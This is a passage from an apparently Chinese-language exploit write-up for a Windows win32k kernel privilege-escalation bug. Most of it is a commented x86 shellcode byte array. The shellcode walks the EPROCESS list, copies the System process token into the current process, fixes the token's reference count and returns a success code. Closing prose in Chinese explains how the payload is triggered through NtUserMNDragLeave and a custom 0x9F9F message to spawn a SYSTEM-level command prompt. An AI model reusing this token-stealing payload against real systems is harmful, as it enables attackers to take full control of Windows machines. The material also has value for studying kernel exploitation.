  33. // Judge if pvShellCode->tagCLS[ebx] == NULL
  34. 0xad, // lods dword ptr [esi]
  35. 0x4b, // dec ebx
  36. 0x83, 0xf8, 0x00, // cmp eax,0
  37. 0x74, 0xf5, // je Loader+0x10c7
  38. // Loader+0x10d2:
  39. // Judge if tagCLS->lpszMenuName == popupMenuRoot
  40. 0x03, 0x42, 0x08, // add eax,dword ptr [edx+8]
  41. 0x39, 0x38, // cmp dword ptr [eax],edi
  42. 0x75, 0xee, // jne Loader+0x10c7
  43. // Loader+0x10d9:
  44. // Zero tagCLS->lpszMenuName
  45. 0x83, 0x20, 0x00, // and dword ptr [eax],0
  46. 0xeb, 0xe9, // jmp Loader+0x10c7
  47. // Loader+0x10de:
  48. // Get the value of pwndWindowHunt->head.pti->ppi->Process to ECX.
  49. // Get the value of pvShellCode->pid to EAX.
  50. 0x8b, 0x49, 0x08, // mov ecx,dword ptr [ecx+8]
  51. 0x8b, 0x5a, 0x0c, // mov ebx,dword ptr [edx+0Ch]
  52. 0x8b, 0x0c, 0x0b, // mov ecx,dword ptr [ebx+ecx]
  53. 0x8b, 0x09, // mov ecx,dword ptr [ecx]
  54. 0x8b, 0x5a, 0x10, // mov ebx,dword ptr [edx+10h]
  55. 0x8b, 0x42, 0x04, // mov eax,dword ptr [edx+4]
  56. 0x51, // push ecx
  57. // Loader+0x10f0:
  58. // Judge if EPROCESS->UniqueId == pid.
  59. 0x39, 0x44, 0x0b, 0xfc, // cmp dword ptr [ebx+ecx-4],eax
  60. 0x74, 0x07, // je Loader+0x10fd
  61. // Loader+0x10f6:
  62. // Get next EPROCESS to ECX by ActiveLink.
  63. 0x8b, 0x0c, 0x0b, // mov ecx,dword ptr [ebx+ecx]
  64. 0x2b, 0xcb, // sub ecx,ebx
  65. 0xeb, 0xf3, // jmp Loader+0x10f0
  66. // Loader+0x10fd:
  67. // Get current EPROCESS to EDI.
  68. 0x8b, 0xf9, // mov edi,ecx
  69. 0x59, // pop ecx
  70. // Loader+0x1100:
  71. // Judge if EPROCESS->UniqueId == 4
  72. 0x83, 0x7c, 0x0b, 0xfc, 0x04, // cmp dword ptr [ebx+ecx-4],4
  73. 0x74, 0x07, // je Loader+0x110e
  74. // Loader+0x1107:
  75. // Get next EPROCESS to ECX by ActiveLink.
  76. 0x8b, 0x0c, 0x0b, // mov ecx,dword ptr [ebx+ecx]
  77. 0x2b, 0xcb, // sub ecx,ebx
  78. 0xeb, 0xf2, // jmp Loader+0x1100
  79. // Loader+0x110e:
  80. // Get system EPROCESS to ESI.
  81. // Get the value of system EPROCESS->Token to current EPROCESS->Token.
  82. // Add 2 to OBJECT_HEADER->PointerCount of system Token.
  83. // Return 0x9F9F to the caller.
  84. 0x8b, 0xf1, // mov esi,ecx
  85. 0x8b, 0x42, 0x14, // mov eax,dword ptr [edx+14h]
  86. 0x03, 0xf0, // add esi,eax
  87. 0x03, 0xf8, // add edi,eax
  88. 0xad, // lods dword ptr [esi]
  89. 0xab, // stos dword ptr es:[edi]
  90. 0x83, 0xe0, 0xf8, // and eax,0FFFFFFF8h
  91. 0x83, 0x40, 0xe8, 0x02, // add dword ptr [eax-18h],2
  92. 0x61, // popad
  93. 0xb8, 0x9f, 0x9f, 0x00, 0x00, // mov eax,9F9Fh
  94. 0xeb, 0x05, // jmp Loader+0x112d
  95. // Loader+0x1128:
  96. // Failed in processing.
  97. 0xb8, 0x01, 0x00, 0x00, 0x00, // mov eax,1
  98. // Loader+0x112d:
  99. 0xc9, // leave
  100. 0xc2, 0x10, 0x00, // ret 10h

大体流程是

  1. 判断传入的消息是否为0x9F9F。
  2. 将匹配到的 tagCLS 对象的成员域 lpszMenuName 置空。
  3. 当前进程和 System 进程的进程体对象地址,并修改当前进程的Token为System进程的Token。
  4. 恢复前面备份的通用寄存器的数值到寄存器中,并赋值返回值为 0x9F9F 作为向调用者的反馈信息。

SHELLCODE已经布置好,接下来在自定义阴影窗口消息处理函数中调用系统服务NtUserMNDragLeave并且对载体窗口对象发送自定义提权消息0x9F9F的调用语句,返回结果保存在bDoneExploit中。这样,如果主线程监听到bDoneExploit被成功赋值的话就创建新的CMD。
image.png